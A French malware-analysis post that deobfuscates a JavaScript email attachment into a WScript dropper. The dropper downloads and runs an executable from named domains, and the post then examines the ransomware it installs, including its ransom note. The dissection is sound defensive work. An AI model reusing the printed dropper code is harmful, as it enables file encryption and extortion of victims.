Une pièce jointe énigmatique
Plusieurs emails similaires reçus sur la boite d’une association.
L’émetteur tente de se faire passer pour une association locale. Le mail est adressé uniquement à d’autres associations elles aussi locales.
L’objet et le contenu du mail sont identiques :
DATE:12/7/2015 9:15:25 PM
Une pièce jointe nommé ui.zip est présente dans le mail. Elle contient elle-même un fichier invoice_Hdiw86.js. Voilà le contenu du fichier js,
[code]qGjOBZec=[0x4,0x8,[…],0x278,0x27d];
seMgUoF=[‘=’,’H’,[…],’f’,'”‘];
function X(LkEObFdAojiX,nNYCtVfxgyPFrP){LkEObFdAojiX.push(nNYCtVfxgyPFrP);}
function fNwgv(PkTwMvAGDBu,ZfCTIykaLxKsZ,uwuCBUdT){AXxZ=OADGgMDOZDXPACpsg(PkTwMvAGDBu,ZfCTIykaLxKsZ);aiMhp=AXxZ.toString(uwuCBUdT);return aiMhp;}
function PswFEBrBcfpSpnX(RLyLZfjWZTXEWwnlh,YcrfSdCfrHuwvXMAdKpVlCOMwvshbyNITB,
ErWwlPumUeNNevQnFXTmmoMaHCbuZCvOoun){eval(RLyLZfjWZTXEWwnlh);}
function mHMUYgnayzvVNVMQDONDONagtoBncujsXyCFiFbHkTxWDpYVLnZNlE(NCdwKhnkSmTKZ,SNYkBvrHSWqvpB){ return seMgUoF[qGjOBZec[fNwgv(NCdwKhnkSmTKZ[SNYkBvrHSWqvpB],(16369+39)/586,(1518+932)/245)]];}
function owBSdyJ(PRUxawyfHyEIHDwScGOGKErsaWNyVrfQCVDa) {return !AWOhLTHpjYC(YndDdAIKxqtAfLk(PRUxawyfHyEIHDwScGOGKErsaWNyVrfQCVDa)) && eFwLixJjagVm(PRUxawyfHyEIHDwScGOGKErsaWNyVrfQCVDa);}
function AWOhLTHpjYC(SwDqmwTCIUVEug) {return isNaN(SwDqmwTCIUVEug);}
function eFwLixJjagVm(VzesqKjqDRtPu) {return isFinite(VzesqKjqDRtPu);}
function OADGgMDOZDXPACpsg(ASfxNmskPV,GnQUANeZWr) {return parseInt(ASfxNmskPV,GnQUANeZWr);}
function YndDdAIKxqtAfLk(jUimLHMJxQascjwdNxh) {return parseFloat(jUimLHMJxQascjwdNxh);}
function v(XTpzWEjIizqqdR,BmDaWcjkOribg,kuNmZJZSvzg) {XTpzWEjIizqqdR[BmDaWcjkOribg]=kuNmZJZSvzg;}
W = new Array();W[0]=new Array();W[0][0]=[];W[0][0][0]=’d’;[…];W[0][5][1391]=’a’;var jjeOH=[W[0][0],W[0][1],W[0][2],W[0][3],W[0][4],W[0][5]];
var gzpIjFoim=[];function etRmloiyyyNaEPAdn(jjeOH){SjWPzBmuqrq= ”;HjpNdWOAcdY=Math.round((Math.pow(Math.sin(421), 2) + Math.pow(Math.cos(421), 2) – 1));while(true){if (HjpNdWOAcdY >= (4764+690)/909){break;}gzpIjFoim[HjpNdWOAcdY]=Math.round((Math.pow(Math.sin(512), 2) + Math.pow(Math.cos(512), 2) – 1)); while(true) { if(gzpIjFoim[HjpNdWOAcdY] > jjeOH[HjpNdWOAcdY].length-(193+247)/440) { break; } if (owBSdyJ(fNwgv(jjeOH[HjpNdWOAcdY][gzpIjFoim[HjpNdWOAcdY]],(26572+504)/967,(8818+912)/973))) {SjWPzBmuqrq += mHMUYgnayzvVNVMQDONDONagtoBncujsXyCFiFbHkTxWDpYVLnZNlE([jjeOH[HjpNdWOAcdY][gzpIjFoim[HjpNdWOAcdY]]], Math.round((Math.pow(Math.sin(112), 2) + Math.pow(Math.cos(112), 2) – 1)));} gzpIjFoim[HjpNdWOAcdY]++;}HjpNdWOAcdY++;} return SjWPzBmuqrq}
var SebpfLrVCExNKMAmQcTrMQllORGDqcdzF = ‘pfVHLoigzkAJhZwSZARdpRxZVCABZrehZfwG’;var uFSyvlImOpHXgMhaWvlKCqHcsIcKwOCD = ‘YTCqcERBxPFHfDzVRhKlJZHRObuqiBSbyTOt’;PswFEBrBcfpSpnX(etRmloiyyyNaEPAdn(jjeOH),
SebpfLrVCExNKMAmQcTrMQllORGDqcdzF,uFSyvlImOpHXgMhaWvlKCqHcsIcKwOCD);[/code]
On voit que c’est un fichier [b]JS obfuscé[/b]. On peut le rendre un peu plus lisible à l’aide d’un site comme http://jsbeautifier.org/,
[code]qGjOBZec = [0x4, 0x8, 0xb, 0x11, 0x16, 0x1c, 0x1f, 0x27, 0x2c, 0x2f, 0x35, 0x3a, 0x3d, 0x45, 0x46, 0x4e, 0x50, 0x57, 0x5d, 0x5f, 0x68, 0x6d, 0x70, 0x74, 0x7a, 0x81, 0x83, 0x89, 0x8c, 0x95, 0x98, 0x9d, 0xa4, 0xa6, 0xad, 0xb1, 0xb4, 0xba, 0xbf, 0xc5, 0xc9, 0xcf, 0xd5, 0xd9, 0xdf, 0xe3, 0xea, 0xed, 0xf0, 0xf7, 0xfc, 0x100, 0x104, 0x10c, 0x10e, 0x115, 0x118, 0x11e, 0x125, 0x12a, 0x12f, 0x131, 0x139, 0x13e, 0x141, 0x147, 0x14e, 0x153, 0x158, 0x15b, 0x15e, 0x166, 0x16c, 0x16e, 0x172, 0x179, 0x17f, 0x181, 0x187, 0x18c, 0x193, 0x198, 0x19a, 0x1a0, 0x1a8, 0x1ad, 0x1af, 0x1b3, 0x1bb, 0x1be, 0x1c2, 0x1cb, 0x1cc, 0x1d1, 0x1d8, 0x1de, 0x1e4, 0x1e8, 0x1eb, 0x1ef, 0x1f7, 0x1fc, 0x200, 0x204, 0x208, 0x211, 0x216, 0x21b, 0x21d, 0x224, 0x226, 0x22f, 0x231, 0x235, 0x23c, 0x240, 0x247, 0x24c, 0x24f, 0x256, 0x258, 0x260, 0x266, 0x26a, 0x26f, 0x274, 0x278, 0x27d];
seMgUoF = [‘=’, ‘H’, ‘D’, ‘-‘, ‘G’, ‘-‘, ‘B’, ‘8’, ‘E’, ‘9’, ‘z’, ‘%’, ‘W’, ‘)’, ‘C’, ‘s’, ‘I’, ‘>’, ‘r’, ‘h’, ‘o’, ‘t’, ‘^’, ‘ ‘, ‘h’, ‘Y’, ‘.’, ‘a’, ‘”‘, ‘:’, ‘e’, ‘g’, ‘/’, ‘p’, ‘6’, ‘X’, ‘V’, ‘n’, ‘Q’, ‘J’, ‘i’, ‘O’, ‘5’, ‘(‘, ‘<', 'S', 'n', '?', '%', '3', '6', '8', 'M', String.fromCharCode(10), 'L', '{', 'Z', '!', ' ', 'y', '$', ']', 'Y', '{', '@', 'd', 'j', '3', 'R', String.fromCharCode(13), '0', ')', 'o', 'K', '9', 'F', 'o', '/', '?', 'L', '#', 'u', 'T', '%', 'w', 'h', 'O', 'Y', 'i', '@', '&', 'G', '#', 'S', '’, ‘!’, ‘H’, ‘W’, ‘>’, ‘#’, ‘J’, ‘8’, ‘i’, ‘7’, ‘?’, ‘6’, ‘S’, ‘t’, ‘[‘, ‘h’, ‘P’, ‘=’, ‘u’, ‘G’, ‘F’, ‘^’, ‘,’, ‘]’, ‘D’, ‘h’, ‘#’, ‘)’, ‘s’, ‘G’, ‘m’, ‘P’, ‘.’, ‘f’, ‘V’, ‘v’, ‘D’, ‘W’, ‘2’, ‘Z’, ‘T’, ‘o’, ‘ ‘, ‘p’, ‘!’, ‘$’, ‘8’, ‘l’, ‘;’, ‘R’, ‘/’, ‘”‘, ‘`’, ‘=’, ‘M’, ‘#’, ‘{‘, ‘S’, ‘$’, ‘F’, ‘=’, ‘r’, ‘x’, ‘H’, ‘%’, ‘4’, ‘n’, ‘#’, ‘P’, ‘&’, ‘A’, ‘<', '6', 'Z', 'J', String.fromCharCode(39), '(', '=', ' ', '(', 'Y', '6', 'q', 'L', 'X', ')', 'I', 'D', 'L', '’, ‘3’, ‘G’, ‘A’, ‘<', '4', 'J', 'w', '3', 'W', '#', 'y', 'j', '5', '2', '6', 'z', 'D', 'D', 'g', 'n', 'w', '7', 'e', '.', '8', 'V', '.', 'm', 'a', '^', '9', 'u', 'M', 'E', 'm', 'y', '{', ':', 'o', '#', 'H', 's', ';', 'a', 'G', '(', 'Q', '’, ‘F’, ‘O’, ‘w’, ‘P’, ‘?’, ‘l’, ‘L’, ‘@’, ‘h’, ‘%’, ‘/’, ‘r’, ‘”‘, ‘A’, ‘x’, ‘r’, ‘I’, ‘ ‘, ‘F’, ‘O’, ‘B’, ‘n’, ‘S’, ‘/’, ‘(‘, ‘C’, ‘?’, ‘n’, ‘F’, ‘>’, ‘D’, ‘2’, ‘{‘, ‘E’, ‘K’, ‘6’, ‘F’, ‘_’, ‘h’, ‘H’, ‘O’, ‘F’, ‘k’, ‘_’, ‘G’, ‘v’, ‘e’, ‘F’, ‘a’, ‘]’, ‘H’, ‘*’, ‘I’, ‘a’, ‘2’, ‘K’, ‘J’, ‘_’, ‘w’, ‘p’, ‘(‘, ‘+’, ‘6’, ‘K’, ‘o’, ‘{‘, ‘?’, ‘4’, ‘P’, ‘L’, ‘d’, ‘M’, ‘P’, ‘k’, ‘H’, ‘7’, ‘n’, ‘N’, ‘!’, ‘7’, ‘N’, ‘M’, ‘O’, ‘1’, ‘O’, ‘B’, ‘;’, ‘.’, ‘2’, ‘P’, ‘z’, ”, ‘S’, ‘r’, ‘%’, ‘/’, ‘i’, ‘K’, ‘T’, ‘@’, ‘T’, ‘_’, ‘N’, ‘C’, ‘9’, ‘U’, ‘w’, ‘V’, ‘R’, ‘k’, ‘i’, ‘W’, ‘h’, ‘(‘, ‘x’, ‘d’, ‘V’, ‘”‘, ‘2’, ‘X’, ‘5’, ‘8’, ‘Y’, ‘d’, ‘y’, ‘C’, ‘Z’, ‘w’, ‘O’, ‘N’, ‘b’, ‘^’, ‘^’, ‘q’, ‘+’, ‘[‘, String.fromCharCode(92), ‘Y’, ‘L’, ‘D’, ‘4’, ‘]’, ‘j’, ‘+’, ‘e’, ‘p’, ‘$’, ‘g’, ‘^’, ‘%’, ‘_’, ‘4’, ‘e’, ‘J’, ‘_’, ‘N’, ‘7’, ‘z’, ‘/’, ‘{‘, ‘`’, ‘s’, ‘>’, ‘J’, ‘a’, ‘R’, ‘4’, ‘b’, ‘M’, ‘9’, ‘Z’, ‘c’, ‘y’, ‘s’, ‘%’, ‘N’, ‘A’, ‘F’, ‘X’, ‘d’, ‘L’, ‘E’, ‘m’, ‘0’, ‘e’, ‘S’, ‘Y’, ‘!’, ‘f’, ‘$’, ‘:’, ‘J’, ‘g’, ‘x’, ‘]’, ‘i’, ‘h’, ‘m’, ‘w’, ‘ ‘, ‘]’, ‘X’, ‘R’, ‘m’, ‘e’, ‘i’, ‘V’, ‘]’, ‘D’, ‘{‘, ‘j’, ‘g’, ‘`’, ‘)’, ‘l’, ‘k’, ‘[‘, ‘l’, ‘{‘, ‘!’, ”, ‘(‘, ‘h’, ‘z’, ‘8’, ‘0’, ‘I’, ‘.’, ‘f’, ‘”‘];
function X(LkEObFdAojiX, nNYCtVfxgyPFrP) {
LkEObFdAojiX.push(nNYCtVfxgyPFrP);
}
function fNwgv(PkTwMvAGDBu, ZfCTIykaLxKsZ, uwuCBUdT) {
AXxZ = OADGgMDOZDXPACpsg(PkTwMvAGDBu, ZfCTIykaLxKsZ);
aiMhp = AXxZ.toString(uwuCBUdT);
return aiMhp;
}
function PswFEBrBcfpSpnX(RLyLZfjWZTXEWwnlh, YcrfSdCfrHuwvXMAdKpVlCOMwvshbyNITB, ErWwlPumUeNNevQnFXTmmoMaHCbuZCvOoun) {
eval(RLyLZfjWZTXEWwnlh);
}
function mHMUYgnayzvVNVMQDONDONagtoBncujsXyCFiFbHkTxWDpYVLnZNlE(NCdwKhnkSmTKZ, SNYkBvrHSWqvpB) {
return seMgUoF[qGjOBZec[fNwgv(NCdwKhnkSmTKZ[SNYkBvrHSWqvpB], (16369 + 39) / 586, (1518 + 932) / 245)]];
}
function owBSdyJ(PRUxawyfHyEIHDwScGOGKErsaWNyVrfQCVDa) {
return !AWOhLTHpjYC(YndDdAIKxqtAfLk(PRUxawyfHyEIHDwScGOGKErsaWNyVrfQCVDa)) && eFwLixJjagVm(PRUxawyfHyEIHDwScGOGKErsaWNyVrfQCVDa);
}
function AWOhLTHpjYC(SwDqmwTCIUVEug) {
return isNaN(SwDqmwTCIUVEug);
}
function eFwLixJjagVm(VzesqKjqDRtPu) {
return isFinite(VzesqKjqDRtPu);
}
function OADGgMDOZDXPACpsg(ASfxNmskPV, GnQUANeZWr) {
return parseInt(ASfxNmskPV, GnQUANeZWr);
}
function YndDdAIKxqtAfLk(jUimLHMJxQascjwdNxh) {
return parseFloat(jUimLHMJxQascjwdNxh);
}
function v(XTpzWEjIizqqdR, BmDaWcjkOribg, kuNmZJZSvzg) {
XTpzWEjIizqqdR[BmDaWcjkOribg] = kuNmZJZSvzg;
}
W = new Array();
W[0] = new Array();
W[0][0] = [];
W[0][0][0] = ‘d’;
[…]
W[0][5][1391] = ‘a’;
var jjeOH = [W[0][0], W[0][1], W[0][2], W[0][3], W[0][4], W[0][5]];
var gzpIjFoim = [];
function etRmloiyyyNaEPAdn(jjeOH) {
SjWPzBmuqrq = ”;
HjpNdWOAcdY = Math.round((Math.pow(Math.sin(421), 2) + Math.pow(Math.cos(421), 2) – 1));
while (true) {
if (HjpNdWOAcdY >= (4764 + 690) / 909) {
break;
}
gzpIjFoim[HjpNdWOAcdY] = Math.round((Math.pow(Math.sin(512), 2) + Math.pow(Math.cos(512), 2) – 1));
while (true) {
if (gzpIjFoim[HjpNdWOAcdY] > jjeOH[HjpNdWOAcdY].length – (193 + 247) / 440) {
break;
}
if (owBSdyJ(fNwgv(jjeOH[HjpNdWOAcdY][gzpIjFoim[HjpNdWOAcdY]], (26572 + 504) / 967, (8818 + 912) / 973))) {
SjWPzBmuqrq += mHMUYgnayzvVNVMQDONDONagtoBncujsXyCFiFbHkTxWDpYVLnZNlE([jjeOH[HjpNdWOAcdY][gzpIjFoim[HjpNdWOAcdY]]], Math.round((Math.pow(Math.sin(112), 2) + Math.pow(Math.cos(112), 2) – 1)));
}
gzpIjFoim[HjpNdWOAcdY]++;
}
HjpNdWOAcdY++;
}
return SjWPzBmuqrq
}
var SebpfLrVCExNKMAmQcTrMQllORGDqcdzF = ‘pfVHLoigzkAJhZwSZARdpRxZVCABZrehZfwG’;
var uFSyvlImOpHXgMhaWvlKCqHcsIcKwOCD = ‘YTCqcERBxPFHfDzVRhKlJZHRObuqiBSbyTOt’;
PswFEBrBcfpSpnX(etRmloiyyyNaEPAdn(jjeOH), SebpfLrVCExNKMAmQcTrMQllORGDqcdzF, uFSyvlImOpHXgMhaWvlKCqHcsIcKwOCD);[/code]
Ce qui reste assez illisible. Je renomme les variables, fonctions, arguments, on retire les petites astuces du genre : [quote]var = sin²(x) + cos²(x) – 1[/quote]
[code]bigVar1 = [0x4, 0x8, 0xb, 0x11, 0x16, 0x1c, 0x1f, 0x27, 0x2c, 0x2f, 0x35, 0x3a, 0x3d, 0x45, 0x46, 0x4e, 0x50, 0x57, 0x5d, 0x5f, 0x68, 0x6d, 0x70, 0x74, 0x7a, 0x81, 0x83, 0x89, 0x8c, 0x95, 0x98, 0x9d, 0xa4, 0xa6, 0xad, 0xb1, 0xb4, 0xba, 0xbf, 0xc5, 0xc9, 0xcf, 0xd5, 0xd9, 0xdf, 0xe3, 0xea, 0xed, 0xf0, 0xf7, 0xfc, 0x100, 0x104, 0x10c, 0x10e, 0x115, 0x118, 0x11e, 0x125, 0x12a, 0x12f, 0x131, 0x139, 0x13e, 0x141, 0x147, 0x14e, 0x153, 0x158, 0x15b, 0x15e, 0x166, 0x16c, 0x16e, 0x172, 0x179, 0x17f, 0x181, 0x187, 0x18c, 0x193, 0x198, 0x19a, 0x1a0, 0x1a8, 0x1ad, 0x1af, 0x1b3, 0x1bb, 0x1be, 0x1c2, 0x1cb, 0x1cc, 0x1d1, 0x1d8, 0x1de, 0x1e4, 0x1e8, 0x1eb, 0x1ef, 0x1f7, 0x1fc, 0x200, 0x204, 0x208, 0x211, 0x216, 0x21b, 0x21d, 0x224, 0x226, 0x22f, 0x231, 0x235, 0x23c, 0x240, 0x247, 0x24c, 0x24f, 0x256, 0x258, 0x260, 0x266, 0x26a, 0x26f, 0x274, 0x278, 0x27d];
bigVar2 = [‘=’, ‘H’, ‘D’, ‘-‘, ‘G’, ‘-‘, ‘B’, ‘8’, ‘E’, ‘9’, ‘z’, ‘%’, ‘W’, ‘)’, ‘C’, ‘s’, ‘I’, ‘>’, ‘r’, ‘h’, ‘o’, ‘t’, ‘^’, ‘ ‘, ‘h’, ‘Y’, ‘.’, ‘a’, ‘”‘, ‘:’, ‘e’, ‘g’, ‘/’, ‘p’, ‘6’, ‘X’, ‘V’, ‘n’, ‘Q’, ‘J’, ‘i’, ‘O’, ‘5’, ‘(‘, ‘<', 'S', 'n', '?', '%', '3', '6', '8', 'M', String.fromCharCode(10), 'L', '{', 'Z', '!', ' ', 'y', '$', ']', 'Y', '{', '@', 'd', 'j', '3', 'R', String.fromCharCode(13), '0', ')', 'o', 'K', '9', 'F', 'o', '/', '?', 'L', '#', 'u', 'T', '%', 'w', 'h', 'O', 'Y', 'i', '@', '&', 'G', '#', 'S', '’, ‘!’, ‘H’, ‘W’, ‘>’, ‘#’, ‘J’, ‘8’, ‘i’, ‘7’, ‘?’, ‘6’, ‘S’, ‘t’, ‘[‘, ‘h’, ‘P’, ‘=’, ‘u’, ‘G’, ‘F’, ‘^’, ‘,’, ‘]’, ‘D’, ‘h’, ‘#’, ‘)’, ‘s’, ‘G’, ‘m’, ‘P’, ‘.’, ‘f’, ‘V’, ‘v’, ‘D’, ‘W’, ‘2’, ‘Z’, ‘T’, ‘o’, ‘ ‘, ‘p’, ‘!’, ‘$’, ‘8’, ‘l’, ‘;’, ‘R’, ‘/’, ‘”‘, ‘`’, ‘=’, ‘M’, ‘#’, ‘{‘, ‘S’, ‘$’, ‘F’, ‘=’, ‘r’, ‘x’, ‘H’, ‘%’, ‘4’, ‘n’, ‘#’, ‘P’, ‘&’, ‘A’, ‘<', '6', 'Z', 'J', String.fromCharCode(39), '(', '=', ' ', '(', 'Y', '6', 'q', 'L', 'X', ')', 'I', 'D', 'L', '’, ‘3’, ‘G’, ‘A’, ‘<', '4', 'J', 'w', '3', 'W', '#', 'y', 'j', '5', '2', '6', 'z', 'D', 'D', 'g', 'n', 'w', '7', 'e', '.', '8', 'V', '.', 'm', 'a', '^', '9', 'u', 'M', 'E', 'm', 'y', '{', ':', 'o', '#', 'H', 's', ';', 'a', 'G', '(', 'Q', '’, ‘F’, ‘O’, ‘w’, ‘P’, ‘?’, ‘l’, ‘L’, ‘@’, ‘h’, ‘%’, ‘/’, ‘r’, ‘”‘, ‘A’, ‘x’, ‘r’, ‘I’, ‘ ‘, ‘F’, ‘O’, ‘B’, ‘n’, ‘S’, ‘/’, ‘(‘, ‘C’, ‘?’, ‘n’, ‘F’, ‘>’, ‘D’, ‘2’, ‘{‘, ‘E’, ‘K’, ‘6’, ‘F’, ‘_’, ‘h’, ‘H’, ‘O’, ‘F’, ‘k’, ‘_’, ‘G’, ‘v’, ‘e’, ‘F’, ‘a’, ‘]’, ‘H’, ‘*’, ‘I’, ‘a’, ‘2’, ‘K’, ‘J’, ‘_’, ‘w’, ‘p’, ‘(‘, ‘+’, ‘6’, ‘K’, ‘o’, ‘{‘, ‘?’, ‘4’, ‘P’, ‘L’, ‘d’, ‘M’, ‘P’, ‘k’, ‘H’, ‘7’, ‘n’, ‘N’, ‘!’, ‘7’, ‘N’, ‘M’, ‘O’, ‘1’, ‘O’, ‘B’, ‘;’, ‘.’, ‘2’, ‘P’, ‘z’, ”, ‘S’, ‘r’, ‘%’, ‘/’, ‘i’, ‘K’, ‘T’, ‘@’, ‘T’, ‘_’, ‘N’, ‘C’, ‘9’, ‘U’, ‘w’, ‘V’, ‘R’, ‘k’, ‘i’, ‘W’, ‘h’, ‘(‘, ‘x’, ‘d’, ‘V’, ‘”‘, ‘2’, ‘X’, ‘5’, ‘8’, ‘Y’, ‘d’, ‘y’, ‘C’, ‘Z’, ‘w’, ‘O’, ‘N’, ‘b’, ‘^’, ‘^’, ‘q’, ‘+’, ‘[‘, String.fromCharCode(92), ‘Y’, ‘L’, ‘D’, ‘4’, ‘]’, ‘j’, ‘+’, ‘e’, ‘p’, ‘$’, ‘g’, ‘^’, ‘%’, ‘_’, ‘4’, ‘e’, ‘J’, ‘_’, ‘N’, ‘7’, ‘z’, ‘/’, ‘{‘, ‘`’, ‘s’, ‘>’, ‘J’, ‘a’, ‘R’, ‘4’, ‘b’, ‘M’, ‘9’, ‘Z’, ‘c’, ‘y’, ‘s’, ‘%’, ‘N’, ‘A’, ‘F’, ‘X’, ‘d’, ‘L’, ‘E’, ‘m’, ‘0’, ‘e’, ‘S’, ‘Y’, ‘!’, ‘f’, ‘$’, ‘:’, ‘J’, ‘g’, ‘x’, ‘]’, ‘i’, ‘h’, ‘m’, ‘w’, ‘ ‘, ‘]’, ‘X’, ‘R’, ‘m’, ‘e’, ‘i’, ‘V’, ‘]’, ‘D’, ‘{‘, ‘j’, ‘g’, ‘`’, ‘)’, ‘l’, ‘k’, ‘[‘, ‘l’, ‘{‘, ‘!’, ”, ‘(‘, ‘h’, ‘z’, ‘8’, ‘0’, ‘I’, ‘.’, ‘f’, ‘”‘];
W = new Array();
W[0] = new Array();
W[0][0] = [];
W[0][0][0] = ‘d’;
[…]
W[0][5][1391] = ‘a’;
var bigVar3 = [W[0][0], W[0][1], W[0][2], W[0][3], W[0][4], W[0][5]];
var bigTable1 = [];
function X(arg1, arg2) {
arg1.push(arg2);
}
function function2(arg1, arg2, arg3) {
var1 = function8(arg1, arg2);
var2 = var1.toString(arg3);
return var2;
}
function function4(arg1, arg2) {
return bigVar2[bigVar1[function2(arg1[arg2], 28, 10)]];
}
function function5(arg1) {
return !function6(function9(arg1)) && function7(arg1);
}
function function6(arg1) {
return isNaN(arg1);
}
function function7(arg1) {
return isFinite(arg1);
}
function function8(arg1, arg2) {
return parseInt(arg1, arg2);
}
function function9(arg1) {
return parseFloat(arg1);
}
function v(arg1, arg2, ar3) {
arg1[arg2] = arg3;
}
function function10(bigVar3) {
var1 = ”;
var2 = 0;
while (true) {
if (var2 >= 6) {
break;
}
bigTable1[var2] = 0;
while (true) {
if (bigTable1[var2] > bigVar3[var2].length – 1) {
break;
}
if (function5(function2(bigVar3[var2][bigTable1[var2]], 28, 10))) {
var1 += function4([bigVar3[var2][bigTable1[var2]]], 0);
}
bigTable1[var2]++;
}
var2++;
}
return var1
}
var strangeVar1 = ‘pfVHLoigzkAJhZwSZARdpRxZVCABZrehZfwG’;
var strangeVar2 = ‘YTCqcERBxPFHfDzVRhKlJZHRObuqiBSbyTOt’;
eval(function10(bigVar3), strangeVar1, strangeVar2);[/code]
Sans aller jusque là, on repère vite qu’une fonction ne fait qu’exécuter un [b]eval[/b] à la fin du résultat de ce qu’on a appelé [i]function10(bigVar3)[/i]. Si l’on souhaite savoir ce que va faire ce script il faut donc obtenir le résultat que renvoie cette fonction. On l’exécute et on récupère,
[code]function oEOfgFurS(LSYwcFUbFrr) {
var mAqYEipo = WScript.CreateObject(“Wscript.Shell”);
mAqYEipo.Run(LSYwcFUbFrr, 0x1, 0x0);
}
var v = “areyouwevenlisten.com/73.exe? beatifulgdf9dr.com/73.exe? ? ? ?”.split(” “);
var EBZ = ((1 /*oUtU514256596n983223uM354193eOiZ*/ ) ? “WScri” : “”) + “pt.Shell”;
var zD = WScript.CreateObject(EBZ);
var ZM = “%TEMP%\\”;
var Cnp = zD.ExpandEnvironmentStrings(ZM);
var dxv = new ActiveXObject(“Scripting” /*phxgBO6Fcfn*/ + “.File” + /*sWIJfsQ*/ “SystemObject”);
var oPIO = Cnp + “LdeKIdB\\”;
try {
dxv.CreateFolder(oPIO);
} catch (fCsMQo) {
};
var CCm = “2.XMLH”;
var Qnz = CCm + “TTP”;
var CA = true,
DdpT = “ADOD”;
var KZ = WScript.CreateObject(“MS” + “XML” + (976907, Qnz));
var KFb = WScript.CreateObject(DdpT + “B.St” + (99169, “ream”));
var WIx = 0;
var D = 1;
var tkSExIi = 758253;
for (var h = WIx; h 267308 – 851) {
kY = 1;
KFb.position = 0;
KFb.saveToFile /*ZlZW31OWTS*/ (oPIO /*rdm290OsZH*/ + tkSExIi + “.exe”, 4 – 2);
try {
if (((new Date()) > 0, 7404761888)) {
oEOfgFurS(oPIO + tkSExIi + /*mwtj32jzQD*/ “.exe” /*upm793Gskp*/ );
break;
}
} catch (TJ) {
};
};
KFb.close();
};
if (kY == 1) {
WIx = h;
break;
};
} catch (TJ) {
};
};[/code]
Voilà un nouveau script à analyser, on rend ça lisible et on commente,
[code]function function1(arg1) {
var var1 = WScript.CreateObject(“Wscript.Shell”);
var1.Run(arg1, 0x1, 0x0);
}
var v = “areyouwevenlisten.com/73.exe? beatifulgdf9dr.com/73.exe? ? ? ?”.split(” “); /* “areyouwevenlisten.com/73.exe?,beatifulgdf9dr.com/73.exe?,?,?,?” */
var EBZ = “WScript.Shell”;
var zD = WScript.CreateObject(EBZ);
var ZM = “%TEMP%\\”;
var Cnp = zD.ExpandEnvironmentStrings(ZM);
var dxv = new ActiveXObject(“Scripting.FileSystemObject”);
var oPIO = Cnp + “LdeKIdB\\”;
try {
dxv.CreateFolder(oPIO); /* On tente de créer le dossier %TEMP%\LdeKIdB\ */
} catch (fCsMQo) {};
var KZ = WScript.CreateObject(“MSXML2.XMLHTTP”);
var KFb = WScript.CreateObject(“ADODB.Stream”);
var WIx = 0;
for (var h = WIx; h < v.length; h++) {
var kY = 0;
try {
KZ.open("GET", "hxxp://" + v[h] + 1, false);
/* Ouverture de :
hxxp://areyouwevenlisten.com/73.exe?1
hxxp://beatifulgdf9dr.com/73.exe?1 266457) { /* Le fichier fait 385024 */
kY = 1; /* Fin de la boucle */
KFb.position = 0;
KFb.saveToFile(oPIO + 758253 + “.exe”, 2); // Crée le fichier %TEMP%LdeKIdB\758253.exe
try {
if (((new Date()) > 0, 7404761888)) {
function1(oPIO + 758253 + “.exe”); // La fonction execute le fichier %TEMP%LdeKIdB\758253.exe
break;
}
} catch (TJ) {};
};
KFb.close();
};
if (kY == 1) {
WIx = h;
break;
};
} catch (TJ) {};
};[/code]
On voit que le but de ce script est de télécharger, enregistrer et exécuter un fichier sur le PC de la victime.
Taux de détection du JS d’origine : https://www.virustotal.com/fr/file/f3cb6d6f4b88d7a1983cf87186e67c62905abb5a0f729b1d3661069d662f0102/analysis/1450391381/
Analyse du PE
Le taux de détection était vraiment mauvais à la première analyse : https://www.virustotal.com/fr/file/adddad99c31d16f949a388714f3cd40edfaf9473567d1e6045dccb96a99e19c1/analysis/. Maintenant c’est correct.
PEiD et StudPE ne trouvent pas de signature caractéristique. Le fichier ne semble pas packé. Avec Ressource Hacker on peut sortir une petite structure dans laquelle on va remarquer à la vue un [i]PNG[/i] et un [i]IHDR[/i], je n’ai pas extrait l’image (en fait j’ai pas trouvé le IEND ^^). On remarque également des boites de dialogues stockées dans les ressources. Dans les strings mis à part des messages de debug assez sales on ne trouve pas grand chose.
Le malware prend parfaitement bien en VM. Je vais utiliser trois outils pour l’analyse : [b]Process Monitor[/b], [b]Wireshark[/b] et [b]Regshot[/b].
Avant d’utiliser ces outils, à l’exécution on remarque que rapidement, tous les fichiers .txt, .png, .html, .zip, etc, ont une nouvelle extension .vvv. Le contenu est chiffré, les fichiers ont une en-tête commune :
[code]…..ï\8»èšïcÊdrµA.æ‘›™õ_Çß¿¶«_ˆ.s—™û.V^#vk׎ætF˜r¾.=d€ºÜ4º.›…Û©UÐ.R‡21809A75C525AC3BD5995D5504F31172835B136816253C058
E275A9468B9FA6D660F368A12F46D4EEF8A8E76D5FD5AA8AF8894B069C3923EA398414B6CB91B30… ºÂ€-ô.唲..‘sJe‰¡ùI.°.în.^Â=.£Ä‚J>|.lv”$.(½ùLªè².’jUÞJ Œ$VÓIS.³3383485A2C60621CDE639A2FEF2BF7AC82AD4CA31EDA73064CC2566908DD9A7C6CD2A25CA38B
DD229240B4F314B489CC379DD273C3A84CE4CA4A7F89F3E3A920..’Q.¿1.i&.x—+˜}öŸ[/code]
On peut donc supposer que la même clé de chiffrement est utilisée pour tous les fichiers. On voit par ailleurs deux séquences de 128 caractères hexadécimaux se répéter :
[code]3383485A2C60621CDE639A2FEF2BF7AC82AD4CA31EDA73064CC2566908DD9A7C6CD2A25CA38BDD229240B
4F314B489CC379DD273C3A84CE4CA4A7F89F3E3A920
21809A75C525AC3BD5995D5504F31172835B136816253C058E275A9468B9FA6D660F368A12F46D4EEF
8A8E76D5FD5AA8AF8894B069C3923EA398414B6CB91B30[/code]
Le programme met des [i]Howto_Restore_FILES.TXT[/i] partout, il en affiche un à la fin du processus, il affiche également une image avec les mêmes instructions, et une page web qui explique que RSA-4096 a été utilisé, qu’il faut se rendre sur une des [i]pages personnelles[/i] que l’on a crée spécialement pour nous, au cas où il y a également une page en service caché [i]Tor[/i].
[code] __!@#!@#!__!@#!@#!__!@#!@#!__!@#!@#!__!@#!@#!__!@#!@#!__!@#!@#!__!@#!@#!__
!@#!@#!__!@#!@#!
NOT YOUR LANGUAGE? USE hxxps://translate.google.com
What happened to your files ?
All of your files were protected by a strong encryption with RSA-4096.
More information about the encryption keys using RSA-4096 can be found here: hxxp://en.wikipedia.org/wiki/RSA_(cryptosystem)
How did this happen ?
!!! Specially for your PC was generated personal RSA-4096 KEY, both public and private.
!!! ALL YOUR FILES were encrypted with the public key, which has been transferred to your computer via the Internet.
Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
What do I do ?
So, there are two ways you can choose: wait for a miracle and get your price doubled, or start obtaining BTC NOW, and restore your data easy way.
If You have really valuable data, you better not waste your time, because there is no other way to get your files, except make a payment.
